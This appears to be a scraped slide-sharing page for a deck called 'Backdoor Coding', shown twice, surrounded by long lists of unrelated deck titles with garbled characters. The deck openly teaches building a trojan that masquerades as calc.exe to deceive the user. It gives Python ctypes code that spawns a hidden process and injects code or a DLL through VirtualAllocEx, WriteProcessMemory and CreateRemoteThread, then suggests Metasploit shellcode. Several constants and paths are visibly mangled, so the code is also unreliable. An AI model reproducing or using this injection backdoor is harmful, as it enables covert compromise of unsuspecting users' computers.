際際滷

際際滷Share a Scribd company logo
Backdoor Coding
we're here to fuck shit up .. because it is more fun
to blow shit up than keeping shit from blowing up
and that's what hackers do ;)
We will name our backdoor calc.exe and move the original calc.exe to
a different location. When the user attempts to use the calculator, she will
be inadvertently running our backdoor, which in turn will start the proper
calculator and thus not alert the user that anything is amiss.Open
a new Python file, name it backdoor.py, and enter the following code :
import sys
from ctypes import *
from my_debugger_defines import *
kernel32= windll.kernel32
PAGE_EXECUTE_READWRITE=x00000040
PROCESS_ALL_ACCESS =( 0x000F0000 | 0x00100000 0xFFF)
VIRTUAL_MEM=( 0x1000 | 0x2000 )
# This is the original executable
path_to_exe= "C:calc.exe"
startupinfo=STARTUPINFO()
process_information=PROCESS_INFORMATION()
creation_flags=CREATE_NEW_CONSOLE
startupinfo.dwFlags=0x1
startupinfo.wShowWindow=0x0
startupinfo.cb=sizeof(startupinfo)
# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information))
pid = process_information.dwProcessId
Not too complicated, and there is no new code in there. Before we move
into the DLL injection code, we are going to explore how we can hide the
DLL itself before using it for the injection. Lets add our injection code to
the backdoor; just tack it on right after the process-creation section. Our
injection function will also be able to handle code or DLL injection; simply
set the parameter flag to 1, and the data variable will then contain the path
to the DLL. We arent going for clean here; were going for quick and dirty.
Lets add the injection capabilities to our backdoor.py file.
def inject( pid, data, parameter = 0 ) :
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data),
VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, data,
len(data), byref(written))
thread_id = c_ulong(0)
if not parameter:
start_address = arg_address
else:
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
parameter = arg_address
if not kernel32.CreateRemoteThread(h_process,None,0,start_address,parameter,0
,byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
return True
We now have a supported injection function that can handle both code
and DLL injection. Now its time to inject the pieces of shellcode.
We can generate the shell code with metasploit .
Thank you ...

More Related Content

What's hot (20)

Basic Programs of C++
Basic Programs of C++Basic Programs of C++
Basic Programs of C++
Bharat Kalia
Circular linked list
Circular linked listCircular linked list
Circular linked list
Sayantan Sur
20151224-games
20151224-games20151224-games
20151224-games
Noritada Shimizu
Single linked list
Single linked listSingle linked list
Single linked list
Sayantan Sur
week-4x
week-4xweek-4x
week-4x
KITE www.kitecolleges.com
Tmpj3 01 201181102muhammad_tohir
Tmpj3 01 201181102muhammad_tohirTmpj3 01 201181102muhammad_tohir
Tmpj3 01 201181102muhammad_tohir
pencari buku
C++ programs
C++ programsC++ programs
C++ programs
Mukund Gandrakota
Pratik Bakane C++
Pratik Bakane C++Pratik Bakane C++
Pratik Bakane C++
pratikbakane
Modificacion del programa
Modificacion del programaModificacion del programa
Modificacion del programa
Mario Jos辿
Java ろ磯 螳襭 - 1谿
Java ろ磯 螳襭 - 1谿Java ろ磯 螳襭 - 1谿
Java ろ磯 螳襭 - 1谿
Junha Jang
皆艶界顎姻庄岳霞潟篏c<断障
皆艶界顎姻庄岳霞潟篏c<断障皆艶界顎姻庄岳霞潟篏c<断障
皆艶界顎姻庄岳霞潟篏c<断障
Katsuhiro Ogawa
Empolyee deatils in java
Empolyee deatils in javaEmpolyee deatils in java
Empolyee deatils in java
DEEPAK KUMAR MAURYA
Pratik Bakane C++
Pratik Bakane C++Pratik Bakane C++
Pratik Bakane C++
pratikbakane
Linked list imp of list
Linked list imp of listLinked list imp of list
Linked list imp of list
Elavarasi K
Codemania101: The Present, Past and Future of Asynchronous Programming in Python
Codemania101: The Present, Past and Future of Asynchronous Programming in PythonCodemania101: The Present, Past and Future of Asynchronous Programming in Python
Codemania101: The Present, Past and Future of Asynchronous Programming in Python
Yothin Muangsommuk
WAP to find out whether the number is prime or not in java
WAP to find out whether the number is prime or not in javaWAP to find out whether the number is prime or not in java
WAP to find out whether the number is prime or not in java
One97 Communications Limited
java program assigment -2
java program assigment -2java program assigment -2
java program assigment -2
Ankit Gupta
Pratik Bakane C++
Pratik Bakane C++Pratik Bakane C++
Pratik Bakane C++
pratikbakane
犖犖迦犖犖橿犖犖犖 犖犖迦犖迦牽犖∇犖ム顕犖о険犖ム権犢
犖犖迦犖犖橿犖犖犖 犖犖迦犖迦牽犖∇犖ム顕犖о険犖ム権犢犖犖迦犖犖橿犖犖犖 犖犖迦犖迦牽犖∇犖ム顕犖о険犖ム権犢
犖犖迦犖犖橿犖犖犖 犖犖迦犖迦牽犖∇犖ム顕犖о険犖ム権犢
犖犢犖橿犖迦献 犖÷顕犢犖ム犖о犢犖
week-1x
week-1xweek-1x
week-1x
KITE www.kitecolleges.com
Basic Programs of C++
Basic Programs of C++Basic Programs of C++
Basic Programs of C++
Bharat Kalia
Circular linked list
Circular linked listCircular linked list
Circular linked list
Sayantan Sur
Single linked list
Single linked listSingle linked list
Single linked list
Sayantan Sur
Tmpj3 01 201181102muhammad_tohir
Tmpj3 01 201181102muhammad_tohirTmpj3 01 201181102muhammad_tohir
Tmpj3 01 201181102muhammad_tohir
pencari buku
Pratik Bakane C++
Pratik Bakane C++Pratik Bakane C++
Pratik Bakane C++
pratikbakane
Modificacion del programa
Modificacion del programaModificacion del programa
Modificacion del programa
Mario Jos辿
Java ろ磯 螳襭 - 1谿
Java ろ磯 螳襭 - 1谿Java ろ磯 螳襭 - 1谿
Java ろ磯 螳襭 - 1谿
Junha Jang
皆艶界顎姻庄岳霞潟篏c<断障
皆艶界顎姻庄岳霞潟篏c<断障皆艶界顎姻庄岳霞潟篏c<断障
皆艶界顎姻庄岳霞潟篏c<断障
Katsuhiro Ogawa
Pratik Bakane C++
Pratik Bakane C++Pratik Bakane C++
Pratik Bakane C++
pratikbakane
Linked list imp of list
Linked list imp of listLinked list imp of list
Linked list imp of list
Elavarasi K
Codemania101: The Present, Past and Future of Asynchronous Programming in Python
Codemania101: The Present, Past and Future of Asynchronous Programming in PythonCodemania101: The Present, Past and Future of Asynchronous Programming in Python
Codemania101: The Present, Past and Future of Asynchronous Programming in Python
Yothin Muangsommuk
WAP to find out whether the number is prime or not in java
WAP to find out whether the number is prime or not in javaWAP to find out whether the number is prime or not in java
WAP to find out whether the number is prime or not in java
One97 Communications Limited
java program assigment -2
java program assigment -2java program assigment -2
java program assigment -2
Ankit Gupta
Pratik Bakane C++
Pratik Bakane C++Pratik Bakane C++
Pratik Bakane C++
pratikbakane

Similar to Backdoor coding (20)

Code Injection in Windows
Code Injection in WindowsCode Injection in Windows
Code Injection in Windows
n|u - The Open Security Community
Bh Usa 07 Butler And Kendall
Bh Usa 07 Butler And KendallBh Usa 07 Butler And Kendall
Bh Usa 07 Butler And Kendall
KarlFrank99
Network security
Network securityNetwork security
Network security
babyangle
Formatul Portable Executable
Formatul Portable Executable Formatul Portable Executable
Formatul Portable Executable
DefCamp
Linux_C_LabBasics.ppt
Linux_C_LabBasics.pptLinux_C_LabBasics.ppt
Linux_C_LabBasics.ppt
CharuJain396881
iOS Automation Primitives
iOS Automation PrimitivesiOS Automation Primitives
iOS Automation Primitives
Synack
Owasp orlando, april 13, 2016
Owasp orlando, april 13, 2016Owasp orlando, april 13, 2016
Owasp orlando, april 13, 2016
Mikhail Sosonkin
Cluj.py Meetup: Extending Python in C
Cluj.py Meetup: Extending Python in CCluj.py Meetup: Extending Python in C
Cluj.py Meetup: Extending Python in C
Steffen Wenz
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy
44CON
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazy
Michael Boman
Trap Handling in Linux
Trap Handling in LinuxTrap Handling in Linux
Trap Handling in Linux
YongraeJo
Cypherock Assessment (1).pdf
Cypherock Assessment (1).pdfCypherock Assessment (1).pdf
Cypherock Assessment (1).pdf
PARNIKA GUPTA
Java programming lab manual
Java programming lab manualJava programming lab manual
Java programming lab manual
sameer farooq
Mouse programming in c
Mouse programming in cMouse programming in c
Mouse programming in c
gkgaur1987
Lecture2 process structure and programming
Lecture2   process structure and programmingLecture2   process structure and programming
Lecture2 process structure and programming
Mohammed Farrag
Os lab final
Os lab finalOs lab final
Os lab final
LakshmiSarvani6
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Vincenzo Iozzo
Discussing Errors in Unity3D's Open-Source Components
Discussing Errors in Unity3D's Open-Source ComponentsDiscussing Errors in Unity3D's Open-Source Components
Discussing Errors in Unity3D's Open-Source Components
PVS-Studio
All Of My Java Codes With A Sample Output.docx
All Of My Java Codes With A Sample Output.docxAll Of My Java Codes With A Sample Output.docx
All Of My Java Codes With A Sample Output.docx
adhitya5119
Safe and secure programming practices for embedded devices
Safe and secure programming practices for embedded devicesSafe and secure programming practices for embedded devices
Safe and secure programming practices for embedded devices
Soumitra Bhattacharyya
Bh Usa 07 Butler And Kendall
Bh Usa 07 Butler And KendallBh Usa 07 Butler And Kendall
Bh Usa 07 Butler And Kendall
KarlFrank99
Network security
Network securityNetwork security
Network security
babyangle
Formatul Portable Executable
Formatul Portable Executable Formatul Portable Executable
Formatul Portable Executable
DefCamp
Linux_C_LabBasics.ppt
Linux_C_LabBasics.pptLinux_C_LabBasics.ppt
Linux_C_LabBasics.ppt
CharuJain396881
iOS Automation Primitives
iOS Automation PrimitivesiOS Automation Primitives
iOS Automation Primitives
Synack
Owasp orlando, april 13, 2016
Owasp orlando, april 13, 2016Owasp orlando, april 13, 2016
Owasp orlando, april 13, 2016
Mikhail Sosonkin
Cluj.py Meetup: Extending Python in C
Cluj.py Meetup: Extending Python in CCluj.py Meetup: Extending Python in C
Cluj.py Meetup: Extending Python in C
Steffen Wenz
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy
44CON
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazy
Michael Boman
Trap Handling in Linux
Trap Handling in LinuxTrap Handling in Linux
Trap Handling in Linux
YongraeJo
Cypherock Assessment (1).pdf
Cypherock Assessment (1).pdfCypherock Assessment (1).pdf
Cypherock Assessment (1).pdf
PARNIKA GUPTA
Java programming lab manual
Java programming lab manualJava programming lab manual
Java programming lab manual
sameer farooq
Mouse programming in c
Mouse programming in cMouse programming in c
Mouse programming in c
gkgaur1987
Lecture2 process structure and programming
Lecture2   process structure and programmingLecture2   process structure and programming
Lecture2 process structure and programming
Mohammed Farrag
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Vincenzo Iozzo
Discussing Errors in Unity3D's Open-Source Components
Discussing Errors in Unity3D's Open-Source ComponentsDiscussing Errors in Unity3D's Open-Source Components
Discussing Errors in Unity3D's Open-Source Components
PVS-Studio
All Of My Java Codes With A Sample Output.docx
All Of My Java Codes With A Sample Output.docxAll Of My Java Codes With A Sample Output.docx
All Of My Java Codes With A Sample Output.docx
adhitya5119
Safe and secure programming practices for embedded devices
Safe and secure programming practices for embedded devicesSafe and secure programming practices for embedded devices
Safe and secure programming practices for embedded devices
Soumitra Bhattacharyya

Recently uploaded (20)

NFPA 70B & 70E Changes and Additions Webinar Presented By Fluke
NFPA 70B & 70E Changes and Additions Webinar Presented By FlukeNFPA 70B & 70E Changes and Additions Webinar Presented By Fluke
NFPA 70B & 70E Changes and Additions Webinar Presented By Fluke
Transcat
Kamal 2, new features and practical examples
Kamal 2, new features and practical examplesKamal 2, new features and practical examples
Kamal 2, new features and practical examples
Igor Aleksandrov
Cloudera Partner Network Enablement Full.pdf
Cloudera Partner Network Enablement Full.pdfCloudera Partner Network Enablement Full.pdf
Cloudera Partner Network Enablement Full.pdf
Nguy畛n H畉i
Intro PPT SY_HONORS.pptx- Teaching scheme
Intro PPT SY_HONORS.pptx- Teaching schemeIntro PPT SY_HONORS.pptx- Teaching scheme
Intro PPT SY_HONORS.pptx- Teaching scheme
Priyanka Dange
02.BigDataAnalytics curso de Legsi (1).pdf
02.BigDataAnalytics curso de Legsi (1).pdf02.BigDataAnalytics curso de Legsi (1).pdf
02.BigDataAnalytics curso de Legsi (1).pdf
ruioliveira1921
Distributed renewable energy in Colombia.OECD2023.pdf
Distributed renewable energy in Colombia.OECD2023.pdfDistributed renewable energy in Colombia.OECD2023.pdf
Distributed renewable energy in Colombia.OECD2023.pdf
SantiagoCardonaGallo
UHV unit-2UNIT - II HARMONY IN THE HUMAN BEING.pptx
UHV unit-2UNIT - II HARMONY IN THE HUMAN BEING.pptxUHV unit-2UNIT - II HARMONY IN THE HUMAN BEING.pptx
UHV unit-2UNIT - II HARMONY IN THE HUMAN BEING.pptx
ariomthermal2031
pptforclass10kkkkkkkclasseee2eewsw10scienve
pptforclass10kkkkkkkclasseee2eewsw10scienvepptforclass10kkkkkkkclasseee2eewsw10scienve
pptforclass10kkkkkkkclasseee2eewsw10scienve
jeevasreemurali
Software security: Security a Software Issue
Software security: Security a Software IssueSoftware security: Security a Software Issue
Software security: Security a Software Issue
Dr Sarika Jadhav
SIMULATION OF FIR FILTER BASED ON CORDIC ALGORITHM
SIMULATION OF FIR FILTER BASED ON CORDIC ALGORITHMSIMULATION OF FIR FILTER BASED ON CORDIC ALGORITHM
SIMULATION OF FIR FILTER BASED ON CORDIC ALGORITHM
VLSICS Design
Optimize AI Latency & Response Time with LLumo
Optimize AI Latency & Response Time with LLumoOptimize AI Latency & Response Time with LLumo
Optimize AI Latency & Response Time with LLumo
sgupta86
Introduction to 3D Printing Technology.pptx
Introduction to 3D Printing Technology.pptxIntroduction to 3D Printing Technology.pptx
Introduction to 3D Printing Technology.pptx
pprakash21252
PLANT CELL REACTORS presenation PTC amity
PLANT CELL REACTORS presenation PTC amityPLANT CELL REACTORS presenation PTC amity
PLANT CELL REACTORS presenation PTC amity
UrjaMoon
"Introduction to VLSI Design: Concepts and Applications"
"Introduction to VLSI Design: Concepts and Applications""Introduction to VLSI Design: Concepts and Applications"
"Introduction to VLSI Design: Concepts and Applications"
GtxDriver
applicationof differential equation.pptx
applicationof differential equation.pptxapplicationof differential equation.pptx
applicationof differential equation.pptx
PPSTUDIES
GRAPHS AND DISCONTINUITIES POWERPOINT.pptx
GRAPHS AND DISCONTINUITIES POWERPOINT.pptxGRAPHS AND DISCONTINUITIES POWERPOINT.pptx
GRAPHS AND DISCONTINUITIES POWERPOINT.pptx
ChrisPuyoc1
Artificial intelligence and Machine learning in remote sensing and GIS
Artificial intelligence  and Machine learning in remote sensing and GISArtificial intelligence  and Machine learning in remote sensing and GIS
Artificial intelligence and Machine learning in remote sensing and GIS
amirthamm2083
Introduction to Forensic Research Digital Forensics
Introduction to Forensic Research Digital ForensicsIntroduction to Forensic Research Digital Forensics
Introduction to Forensic Research Digital Forensics
SaanviMisar
NBA Criteria TIER I and TIER II Comparison
NBA Criteria TIER I and TIER II ComparisonNBA Criteria TIER I and TIER II Comparison
NBA Criteria TIER I and TIER II Comparison
Dr INBAMALAR T M
Airport Components Part1 ppt.pptx-Site layout,RUNWAY,TAXIWAY,TAXILANE
Airport Components Part1 ppt.pptx-Site layout,RUNWAY,TAXIWAY,TAXILANEAirport Components Part1 ppt.pptx-Site layout,RUNWAY,TAXIWAY,TAXILANE
Airport Components Part1 ppt.pptx-Site layout,RUNWAY,TAXIWAY,TAXILANE
Priyanka Dange
NFPA 70B & 70E Changes and Additions Webinar Presented By Fluke
NFPA 70B & 70E Changes and Additions Webinar Presented By FlukeNFPA 70B & 70E Changes and Additions Webinar Presented By Fluke
NFPA 70B & 70E Changes and Additions Webinar Presented By Fluke
Transcat
Kamal 2, new features and practical examples
Kamal 2, new features and practical examplesKamal 2, new features and practical examples
Kamal 2, new features and practical examples
Igor Aleksandrov
Cloudera Partner Network Enablement Full.pdf
Cloudera Partner Network Enablement Full.pdfCloudera Partner Network Enablement Full.pdf
Cloudera Partner Network Enablement Full.pdf
Nguy畛n H畉i
Intro PPT SY_HONORS.pptx- Teaching scheme
Intro PPT SY_HONORS.pptx- Teaching schemeIntro PPT SY_HONORS.pptx- Teaching scheme
Intro PPT SY_HONORS.pptx- Teaching scheme
Priyanka Dange
02.BigDataAnalytics curso de Legsi (1).pdf
02.BigDataAnalytics curso de Legsi (1).pdf02.BigDataAnalytics curso de Legsi (1).pdf
02.BigDataAnalytics curso de Legsi (1).pdf
ruioliveira1921
Distributed renewable energy in Colombia.OECD2023.pdf
Distributed renewable energy in Colombia.OECD2023.pdfDistributed renewable energy in Colombia.OECD2023.pdf
Distributed renewable energy in Colombia.OECD2023.pdf
SantiagoCardonaGallo
UHV unit-2UNIT - II HARMONY IN THE HUMAN BEING.pptx
UHV unit-2UNIT - II HARMONY IN THE HUMAN BEING.pptxUHV unit-2UNIT - II HARMONY IN THE HUMAN BEING.pptx
UHV unit-2UNIT - II HARMONY IN THE HUMAN BEING.pptx
ariomthermal2031
pptforclass10kkkkkkkclasseee2eewsw10scienve
pptforclass10kkkkkkkclasseee2eewsw10scienvepptforclass10kkkkkkkclasseee2eewsw10scienve
pptforclass10kkkkkkkclasseee2eewsw10scienve
jeevasreemurali
Software security: Security a Software Issue
Software security: Security a Software IssueSoftware security: Security a Software Issue
Software security: Security a Software Issue
Dr Sarika Jadhav
SIMULATION OF FIR FILTER BASED ON CORDIC ALGORITHM
SIMULATION OF FIR FILTER BASED ON CORDIC ALGORITHMSIMULATION OF FIR FILTER BASED ON CORDIC ALGORITHM
SIMULATION OF FIR FILTER BASED ON CORDIC ALGORITHM
VLSICS Design
Optimize AI Latency & Response Time with LLumo
Optimize AI Latency & Response Time with LLumoOptimize AI Latency & Response Time with LLumo
Optimize AI Latency & Response Time with LLumo
sgupta86
Introduction to 3D Printing Technology.pptx
Introduction to 3D Printing Technology.pptxIntroduction to 3D Printing Technology.pptx
Introduction to 3D Printing Technology.pptx
pprakash21252
PLANT CELL REACTORS presenation PTC amity
PLANT CELL REACTORS presenation PTC amityPLANT CELL REACTORS presenation PTC amity
PLANT CELL REACTORS presenation PTC amity
UrjaMoon
"Introduction to VLSI Design: Concepts and Applications"
"Introduction to VLSI Design: Concepts and Applications""Introduction to VLSI Design: Concepts and Applications"
"Introduction to VLSI Design: Concepts and Applications"
GtxDriver
applicationof differential equation.pptx
applicationof differential equation.pptxapplicationof differential equation.pptx
applicationof differential equation.pptx
PPSTUDIES
GRAPHS AND DISCONTINUITIES POWERPOINT.pptx
GRAPHS AND DISCONTINUITIES POWERPOINT.pptxGRAPHS AND DISCONTINUITIES POWERPOINT.pptx
GRAPHS AND DISCONTINUITIES POWERPOINT.pptx
ChrisPuyoc1
Artificial intelligence and Machine learning in remote sensing and GIS
Artificial intelligence  and Machine learning in remote sensing and GISArtificial intelligence  and Machine learning in remote sensing and GIS
Artificial intelligence and Machine learning in remote sensing and GIS
amirthamm2083
Introduction to Forensic Research Digital Forensics
Introduction to Forensic Research Digital ForensicsIntroduction to Forensic Research Digital Forensics
Introduction to Forensic Research Digital Forensics
SaanviMisar
NBA Criteria TIER I and TIER II Comparison
NBA Criteria TIER I and TIER II ComparisonNBA Criteria TIER I and TIER II Comparison
NBA Criteria TIER I and TIER II Comparison
Dr INBAMALAR T M
Airport Components Part1 ppt.pptx-Site layout,RUNWAY,TAXIWAY,TAXILANE
Airport Components Part1 ppt.pptx-Site layout,RUNWAY,TAXIWAY,TAXILANEAirport Components Part1 ppt.pptx-Site layout,RUNWAY,TAXIWAY,TAXILANE
Airport Components Part1 ppt.pptx-Site layout,RUNWAY,TAXIWAY,TAXILANE
Priyanka Dange

Backdoor coding

  • 1. Backdoor Coding we're here to fuck shit up .. because it is more fun to blow shit up than keeping shit from blowing up and that's what hackers do ;)
  • 2. We will name our backdoor calc.exe and move the original calc.exe to a different location. When the user attempts to use the calculator, she will be inadvertently running our backdoor, which in turn will start the proper calculator and thus not alert the user that anything is amiss.Open a new Python file, name it backdoor.py, and enter the following code :
  • 3. import sys from ctypes import * from my_debugger_defines import * kernel32= windll.kernel32 PAGE_EXECUTE_READWRITE=x00000040 PROCESS_ALL_ACCESS =( 0x000F0000 | 0x00100000 0xFFF) VIRTUAL_MEM=( 0x1000 | 0x2000 ) # This is the original executable
  • 4. path_to_exe= "C:calc.exe" startupinfo=STARTUPINFO() process_information=PROCESS_INFORMATION() creation_flags=CREATE_NEW_CONSOLE startupinfo.dwFlags=0x1 startupinfo.wShowWindow=0x0 startupinfo.cb=sizeof(startupinfo) # First things first, fire up that second process # and store its PID so that we can do our injection kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId
  • 5. Not too complicated, and there is no new code in there. Before we move into the DLL injection code, we are going to explore how we can hide the DLL itself before using it for the injection. Lets add our injection code to the backdoor; just tack it on right after the process-creation section. Our injection function will also be able to handle code or DLL injection; simply set the parameter flag to 1, and the data variable will then contain the path to the DLL. We arent going for clean here; were going for quick and dirty. Lets add the injection capabilities to our backdoor.py file.
  • 6. def inject( pid, data, parameter = 0 ) : # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") parameter = arg_address if not kernel32.CreateRemoteThread(h_process,None,0,start_address,parameter,0 ,byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) return True
  • 7. We now have a supported injection function that can handle both code and DLL injection. Now its time to inject the pieces of shellcode. We can generate the shell code with metasploit . Thank you ...